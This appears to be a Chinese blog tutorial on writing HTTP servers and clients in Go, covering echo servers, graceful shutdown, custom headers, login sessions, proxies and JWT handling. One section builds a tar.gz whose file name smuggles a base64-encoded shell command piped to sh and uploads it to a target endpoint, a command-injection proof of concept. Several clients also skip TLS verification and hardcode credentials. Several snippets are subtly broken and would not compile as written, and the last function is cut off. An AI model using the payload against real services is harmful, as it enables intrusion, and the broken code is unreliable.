用go实现http服务端和请求端
作者:小教学发布时间:2023-10-01分类:程序开发学习浏览:75
导读:一、概述 本文旨在学习记录下如何用go实现建立一个http服务器,同时构造一个专用格式的http客户端。二、代码实现2.1构造http服务端1、ht...
一、概述
本文旨在学习记录下如何用go实现建立一个http服务器,同时构造一个专用格式的http客户端。
二、代码实现
2.1 构造http服务端
1、http服务处理流程
基于HTTP构建的服务标准模型包括两个端,客户端(Client
)和服务端(Server
)。HTTP 请求从客户端发出,服务端接受到请求后进行处理然后将响应返回给客户端。所以http服务器的工作就在于如何接受来自客户端的请求,并向客户端返回响应。
- 使用http.HandleFunc实现http服务,返回hello world
package main
import (
"fmt"
"net/http"
)
func HelloHandler(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "Hello World")
}
func main () {
http.HandleFunc("/", HelloHandler)
http.ListenAndServe(":8000", nil)
}
- 使用http.Handle实现http服务
package main
import (
"fmt"
"net/http"
)
type HelloHandlerStruct struct {
content string
}
//必须实现此方法,且名称为ServerHTTP
func (handler *HelloHandlerStruct) ServeHTTP(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, handler.content)
}
func main() {
http.Handle("/", &HelloHandlerStruct{content: "Hello World"})
http.ListenAndServe(":8000", nil)
}
- 优雅的关闭http服务
package main
import (
"context"
"fmt"
"io/ioutil"
"log"
"net/http"
"os"
"os/signal"
"syscall"
"time"
)
type EchoHandler struct{}
func (handler EchoHandler) ServeHTTP(writer http.ResponseWriter, request *http.Request) {
// 设置响应头
writer.Header().Add("X-Data", "foo")
// 设置相应的cookie
http.SetCookie(writer, &http.Cookie{
Name: "x-cookie",
Value: "bar",
MaxAge: 86400,
Secure: true,
})
//设置响应状态码为200
writer.WriteHeader(200)
// 设置响应体,打印网络请求信息
fmt.Fprintln(writer, "===== Network =====")
fmt.Fprintln(writer, "Remote Address:", request.RemoteAddr)
fmt.Fprintln(writer)
// 设置响应体,打印请求方法 url host 协议信息
fmt.Fprintln(writer, "===== Request Line =====")
fmt.Fprintln(writer, "Method: ", request.Method)
fmt.Fprintln(writer, "URL: ", request.URL)
fmt.Fprintln(writer, "Host: ", request.Host)
//fmt.Fprintln(writer, "URI: ", request.RequestURI)
fmt.Fprintf(writer, "Protocol: %v major=%v minor=%v\n", request.Proto,
request.ProtoMajor, request.ProtoMinor)
fmt.Fprintln(writer)
// 设置输出请求的请求头
fmt.Fprintln(writer, "===== Header =====")
for k, v := range request.Header {
fmt.Fprintf(writer, "%v: %v\n", k, v)
}
fmt.Fprintln(writer)
// 设置输出请求的body
body, err := ioutil.ReadAll(request.Body)
if err == nil && len(body) > 0 {
fmt.Fprintln(writer, "===== Raw Body =====")
fmt.Fprintln(writer, string(body))
}
}
func main() {
// 创建系统信号接收器
done := make(chan os.Signal)
signal.Notify(done, os.Interrupt, syscall.SIGINT, syscall.SIGTERM)
// 创建 HTTP 服务器
server := &http.Server{
Addr: ":8000",
Handler: EchoHandler{},
}
// 启动 HTTP 服务器
go func() {
log.Println("Server starting...")
if err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed {
log.Fatalf("ListenAndServe: %v", err)
}
}()
// 监听系统信号并执行关闭操作
<-done
log.Println("Server shutting down...")
// 创建一个超时上下文,确保关闭操作不会无限期等待
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
if err := server.Shutdown(ctx); err != nil {
log.Fatal("Shutdown server:", err)
}
log.Println("Server gracefully stopped")
}
2.2 构建http客户端
1、基本介绍及使用
net/http 包提供了最简洁的 HTTP 客户端实现,无需借助第三方网络通信库(比如 libcurl)就可以直接使用最常见的 GET 和 POST 方式发起 HTTP 请求。
func (c *Client) Get(url string) (r *Response, err error)
func (c *Client) Post(url string, bodyType string, body io.Reader) (r *Response, err error)
func (c *Client) PostForm(url string, data url.Values) (r *Response, err error)
func (c *Client) Head(url string) (r *Response, err error)
func (c *Client) Do(req *Request) (resp *Response, err error)
基本的代码实现:
package main
import (
"bytes"
"fmt"
"io/ioutil"
"net/http"
)
func main() {
// 目标 URL
baseUrl := "http://localhost"
// 执行 GET 请求
doGet(baseUrl + "/gettest")
// 执行 POST 请求
doPost(baseUrl + "/posttest")
// 执行 POST Form 请求
doPostForm(baseUrl + "/postform")
}
func doGet(url string) {
response, err := http.Get(url)
if err != nil {
fmt.Println("GET request failed:", err)
return
}
defer response.Body.Close()
body, err := ioutil.ReadAll(response.Body)
if err != nil {
fmt.Println("Error reading response:", err)
return
}
fmt.Println("GET Response:")
fmt.Println(string(body))
}
func doPost(url string) {
// 准备 POST 请求的 JSON 数据
jsonPayload := []byte(`{"key": "value"}`)
response, err := http.Post(url, "application/json", bytes.NewBuffer(jsonPayload))
if err != nil {
fmt.Println("POST request failed:", err)
return
}
defer response.Body.Close()
body, err := ioutil.ReadAll(response.Body)
if err != nil {
fmt.Println("Error reading response:", err)
return
}
fmt.Println("POST Response:")
fmt.Println(string(body))
}
func doPostForm(url string) {
// 准备 POST Form 数据
data := url.Values{}
data.Add("name", "Alice")
data.Add("age", "30")
response, err := http.PostForm(url, data)
if err != nil {
fmt.Println("POST Form request failed:", err)
return
}
defer response.Body.Close()
body, err := ioutil.ReadAll(response.Body)
if err != nil {
fmt.Println("Error reading response:", err)
return
}
fmt.Println("POST Form Response:")
fmt.Println(string(body))
}
2、自定义请求头,以及绕过https验证
package main
import (
"fmt"
"net/http"
"net/url"
"strings"
)
func main() {
// 自定义请求头
headers := map[string]string{
"User-Agent": "Your Custom User-Agent",
"Host": "example.com", // 自定义 Host
}
// 目标 URL
targetURL := "https://example.com" // 替换为你的目标 URL
// 创建自定义 Transport
tr := &http.Transport{
TLSClientConfig: {InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证
TLSHandshakeTimeout: 5, // 超时时间(秒)
DisableKeepAlives: true, // 禁用连接复用
IdleConnTimeout: 30, // 空闲连接超时时间(秒)
MaxIdleConnsPerHost: 2, // 每个主机的最大空闲连接数
ResponseHeaderTimeout: 5, // 响应头超时时间(秒)
}
// 创建自定义客户端
client := &http.Client{
Transport: tr,
}
// 发送 GET 请求
response, err := client.Get(targetURL)
if err != nil {
fmt.Println("GET request failed:", err)
return
}
defer response.Body.Close()
// 读取响应内容
body := make([]byte, 1024)
n, err := response.Body.Read(body)
if err != nil {
fmt.Println("Error reading response:", err)
return
}
// 输出响应内容
fmt.Println("Response:")
fmt.Println(string(body[:n]))
}
3、实现登录后会话保持以及自定义请求头
package main
import (
"fmt"
"net/http"
"net/url"
"strings"
)
func main() {
// 自定义请求头
headers := map[string]string{
"User-Agent": "Your Custom User-Agent",
"Host": "example.com", // 自定义 Host
}
// 目标 URL
baseURL := "https://example.com" // 替换为你的目标 URL
loginURL := baseURL + "/login" // 登录 URL
securedURL := baseURL + "/secured-resource" // 需要 Token 的 URL
// 准备登录请求的数据
loginData := url.Values{
"user": {"admin"},
"pass": {"123456"},
}
// 创建自定义 Transport
tr := &http.Transport{
TLSClientConfig: {InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证
TLSHandshakeTimeout: 5, // 超时时间(秒)
DisableKeepAlives: true, // 禁用连接复用
IdleConnTimeout: 30, // 空闲连接超时时间(秒)
MaxIdleConnsPerHost: 2, // 每个主机的最大空闲连接数
ResponseHeaderTimeout: 5, // 响应头超时时间(秒)
}
// 创建自定义客户端
client := &http.Client{
Transport: tr,
}
// 发送登录请求
loginRequest, err := http.NewRequest("POST", loginURL, strings.NewReader(loginData.Encode()))
if err != nil {
fmt.Println("Error creating login request:", err)
return
}
// 设置登录请求的头部和内容类型
loginRequest.Header.Set("Content-Type", "application/x-www-form-urlencoded")
for key, value := range headers {
loginRequest.Header.Set(key, value)
}
loginResponse, err := client.Do(loginRequest)
if err != nil {
fmt.Println("Login request failed:", err)
return
}
defer loginResponse.Body.Close()
// 获取登录后的 Token
var token string
for _, cookie := range loginResponse.Cookies() {
if cookie.Name == "token" {
token = cookie.Value
break
}
}
if token == "" {
fmt.Println("Login failed. No token received.")
return
}
fmt.Println("Login successful. Token:", token)
// 在后续请求中添加 Token 到请求头
securedRequest, err := http.NewRequest("GET", securedURL, nil)
if err != nil {
fmt.Println("Error creating secured request:", err)
return
}
securedRequest.Header.Set("Authorization", "Bearer "+token) // 添加 Token 到请求头
for key, value := range headers {
securedRequest.Header.Set(key, value)
}
securedResponse, err := client.Do(securedRequest)
if err != nil {
fmt.Println("Secured request failed:", err)
return
}
defer securedResponse.Body.Close()
// 读取并输出响应内容
responseBody, err := ioutil.ReadAll(securedResponse.Body)
if err != nil {
fmt.Println("Error reading response body:", err)
return
}
fmt.Println("Secured resource response:")
fmt.Println(string(responseBody))
}
4、构造一个带特殊字符的压缩包,并且通过接口上传
package main
import (
"archive/tar"
"bytes"
"compress/gzip"
"crypto/tls"
"fmt"
"io"
"io/ioutil"
"mime/multipart"
"net/http"
"os"
)
func main() {
// 压缩文件内容
tarContent := generateTarGzContent("11.jpg;`echo cHdkID4gL3RtcC9zdWNjZXNz|base64 -d|sh`")
// 发送 HTTP POST 请求
url := "https://example.com/upload" // 替换为你的目标 URL
uploadTarGz(url, tarContent)
}
func generateTarGzContent(filename string) []byte {
var buf bytes.Buffer
gw := gzip.NewWriter(&buf)
tw := tar.NewWriter(gw)
// 添加文件到 tar 压缩包
fileContent := []byte("This is the content of 11.jpg;`echo cHdkID4gL3RtcC9zdWNjZXNz|base64 -d|sh`")
header := &tar.Header{
Name: filename,
Size: int64(len(fileContent)),
}
if err := tw.WriteHeader(header); err != nil {
fmt.Println("写入 tar 头部失败:", err)
os.Exit(1)
}
if _, err := tw.Write(fileContent); err != nil {
fmt.Println("写入文件内容失败:", err)
os.Exit(1)
}
// 关闭 tar 和 gzip 缓冲区
if err := tw.Close(); err != nil {
fmt.Println("关闭 tar 失败:", err)
os.Exit(1)
}
if err := gw.Close(); err != nil {
fmt.Println("关闭 gzip 失败:", err)
os.Exit(1)
}
return buf.Bytes()
}
func uploadTarGz(url string, tarContent []byte) {
// 创建一个 Buffer,用于构建 multipart/form-data 请求体
var requestBody bytes.Buffer
writer := multipart.NewWriter(&requestBody)
// 写入 tar.gz 文件
part, err := writer.CreateFormFile("file", "test.tar.gz")
if err != nil {
fmt.Println("创建表单文件失败:", err)
os.Exit(1)
}
if _, err := io.Copy(part, bytes.NewReader(tarContent)); err != nil {
fmt.Println("写入文件内容失败:", err)
os.Exit(1)
}
// 关闭 multipart writer
writer.Close()
// 创建 HTTP 请求
req, err := http.NewRequest("POST", url, &requestBody)
if err != nil {
fmt.Println("创建请求失败:", err)
os.Exit(1)
}
req.Header.Set("Content-Type", writer.FormDataContentType())
// 创建一个自定义的 Transport,用于跳过 HTTPS 证书验证
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
// 使用自定义 Transport 发起请求
client := &http.Client{Transport: tr}
response, err := client.Do(req)
if err != nil {
fmt.Println("请求失败:", err)
os.Exit(1)
}
defer response.Body.Close()
// 读取响应内容
responseBody, err := ioutil.ReadAll(response.Body)
if err != nil {
fmt.Println("读取响应内容失败:", err)
os.Exit(1)
}
fmt.Println("响应内容:")
fmt.Println(string(responseBody))
}
5、设置http代理
package main
import (
"fmt"
"net/http"
"net/url"
"os"
)
func main() {
// 创建 HTTP 客户端,并设置代理
proxyURL, err := url.Parse("http://127.0.0.1:8080") // 替换为您的代理服务器地址
if err != nil {
fmt.Println("解析代理地址失败:", err)
os.Exit(1)
}
client := &http.Client{
Transport: &http.Transport{
Proxy: http.ProxyURL(proxyURL),
},
}
// 创建 HTTP 请求
url := "https://example.com" // 替换为您要请求的目标 URL
request, err := http.NewRequest("GET", url, nil)
if err != nil {
fmt.Println("创建请求失败:", err)
os.Exit(1)
}
// 发送 HTTP 请求
response, err := client.Do(request)
if err != nil {
fmt.Println("请求失败:", err)
os.Exit(1)
}
defer response.Body.Close()
// 读取响应内容
responseBody := make([]byte, 0)
buffer := make([]byte, 1024)
for {
n, err := response.Body.Read(buffer)
if n > 0 {
responseBody = append(responseBody, buffer[:n]...)
}
if err != nil {
break
}
}
fmt.Println("响应内容:")
fmt.Println(string(responseBody))
}
6、综合实践
// 生成jwt token
func CreateJWT(claim jwt.Claims) (string, error) {
//读取 RSA私钥文件
privateKeyBytes, err := ioutil.ReadFile(privateKeyPath)
if err != nil {
return "", err
}
//解析RSA私钥
privateKey, err := jwt.ParseRSAPrivateKeyFromPEM(privateKeyBytes)
if err != nil {
return "", err
}
//创建jwt
token := jwt.NewWithClaims(jwt.SigningMethodRS256, claim)
//使用私钥进行签名
tokenString, err := token.SignedString(privateKey)
return tokenString, nil
}
// 验证token有效性,主要为想做成直接用解析提供的token并从中获取想要的参数,避免传入过多参数,暂时未用上
func ParseToken(tokenStr string) (interface{}, error) {
//读取RSA公钥文件
publicKeyBytes, err := ioutil.ReadFile(publicKeyPath)
if err != nil {
return "", nil
}
//解析RSA 公钥
publicKey, err := jwt.ParseRSAPublicKeyFromPEM(publicKeyBytes)
if err != nil {
return "", err
}
//解析token
token, err := jwt.Parse(tokenStr, func(token *jwt.Token) (interface{}, error) {
if token.Method != jwt.SigningMethodRS256 {
return nil, fmt.Errorf("加密方法有误,非rsa256,而是:%v", token.Header["alg"])
}
return publicKey, nil
})
//检查解析是否成功
if err != nil {
return nil, err
}
//验证token是否有效
if !token.Valid {
return nil, fmt.Errorf("无效token")
} else if claims, ok := token.Claims.(jwt.MapClaims); ok {
//通过key获取具体的Claims值
fmt.Println("touken有效,正在提取其中的Claims。。。。")
return claims, nil
} else {
return nil, fmt.Errorf("token有效,但是无法提取Claims")
}
}
func GetCookie(token, url string) (string, error) {
//自定义请求头
headers := map[string]string{
"token": token, //利用生成的token
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36",
"Accept": " application/json, text/plain, */*",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/json",
"Accept-Language": "zh-CN,zh;q=0.9",
}
//fmt.Println("\nurl 为", baseurl)
//创建代理
/* proxyURL, err := url.Parse("http://127.0.0.1:8080") //设置代理地址
if err != nil {
fmt.Println("解析代理地址失败", err)
os.Exit(1)
} */
// 创建自定义 Transport
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证
//TLSHandshakeTimeout: 10, // 超时时间(秒)
DisableKeepAlives: true, // 禁用连接复用
IdleConnTimeout: 30, // 空闲连接超时时间(秒)
MaxIdleConnsPerHost: 20, // 每个主机的最大空闲连接数
//ResponseHeaderTimeout: 10, // 响应头超时时间(秒)
//Proxy: http.ProxyURL(proxyURL), //设置代理服务器
}
//创建自定义客户端
client := &http.Client{
Transport: tr,
Timeout: time.Second * 10, //设置请求的超时时间
}
//创建JSON请求体
requestBody := map[string]interface{}{
"username": "123456",
"password": "1",
}
//将请求体编码为 JSON格式
jsonData, err := json.Marshal(requestBody)
if err != nil {
fmt.Println("JSON 编码错误", err)
return "", err
}
//创建post请求
request, err := http.NewRequest("POST", url, bytes.NewBuffer(jsonData))
if err != nil {
fmt.Println("创建请求错误", err)
return "", err
}
//设置请求头
for key, value := range headers {
request.Header.Set(key, value)
}
//发送POST请求
response, err := client.Do(request)
if err != nil {
fmt.Println("\n请求错误:", err)
return "", err
}
defer response.Body.Close()
/* // 读取响应内容
var responseStr string
buf := new(bytes.Buffer)
_, err = buf.ReadFrom(response.Body)
if err != nil {
return "", err
}
responseStr = buf.String()
// 检查响应状态码
if response.StatusCode != http.StatusOK {
return "", fmt.Errorf("响应状态码为 %d", response.StatusCode)
}
return responseStr, nil */
//处理响应:仅针对返回body为json格式数据
var responseBody map[string]interface{}
decoder := json.NewDecoder(response.Body)
if err := decoder.Decode(&responseBody); err != nil {
fmt.Println("响应解析错误", err)
return "", err
}
//输出响应
fmt.Println("响应状态码:", response.Status)
fmt.Println("响应数据ret:", responseBody["ret"])
var retflag float64
retflag = 1
if responseBody["ret"].(float64) == retflag {
setCookieHeaders := response.Header["Set-Cookie"]
return setCookieHeaders[0], nil
} else {
return "", fmt.Errorf("错误信息:%s", responseBody["error"])
}
- 上一篇:计算机网络常见面试题
- 下一篇:ElementUI之增删改及表单验证
- 程序开发学习排行
-
- 1鸿蒙HarmonyOS:Web组件网页白屏检测
- 2HTTPS协议是安全传输,为啥还要再加密?
- 3HarmonyOS鸿蒙应用开发——数据持久化Preferences
- 4记解决MaterialButton背景颜色与设置值不同
- 5鸿蒙HarmonyOS实战-ArkUI组件(RelativeContainer)
- 6鸿蒙HarmonyOS实战-ArkUI组件(Stack)
- 7鸿蒙HarmonyOS实战-ArkUI组件(GridRow/GridCol)
- 8[Android][NDK][Cmake]一文搞懂Android项目中的Cmake
- 9鸿蒙HarmonyOS实战-ArkUI组件(mediaquery)
- 最近发表
-
- WooCommerce最好的WordPress常用插件下载博客插件模块的相关产品
- 羊驼机器人最好的WordPress常用插件下载博客插件模块
- IP信息记录器最好的WordPress常用插件下载博客插件模块
- Linkly for WooCommerce最好的WordPress常用插件下载博客插件模块
- 元素聚合器Forms最好的WordPress常用插件下载博客插件模块
- Promaker Chat 最好的WordPress通用插件下载 博客插件模块
- 自动更新发布日期最好的WordPress常用插件下载博客插件模块
- WordPress官方最好的获取回复WordPress常用插件下载博客插件模块
- Img to rss最好的wordpress常用插件下载博客插件模块
- WPMozo为Elementor最好的WordPress常用插件下载博客插件模块添加精简版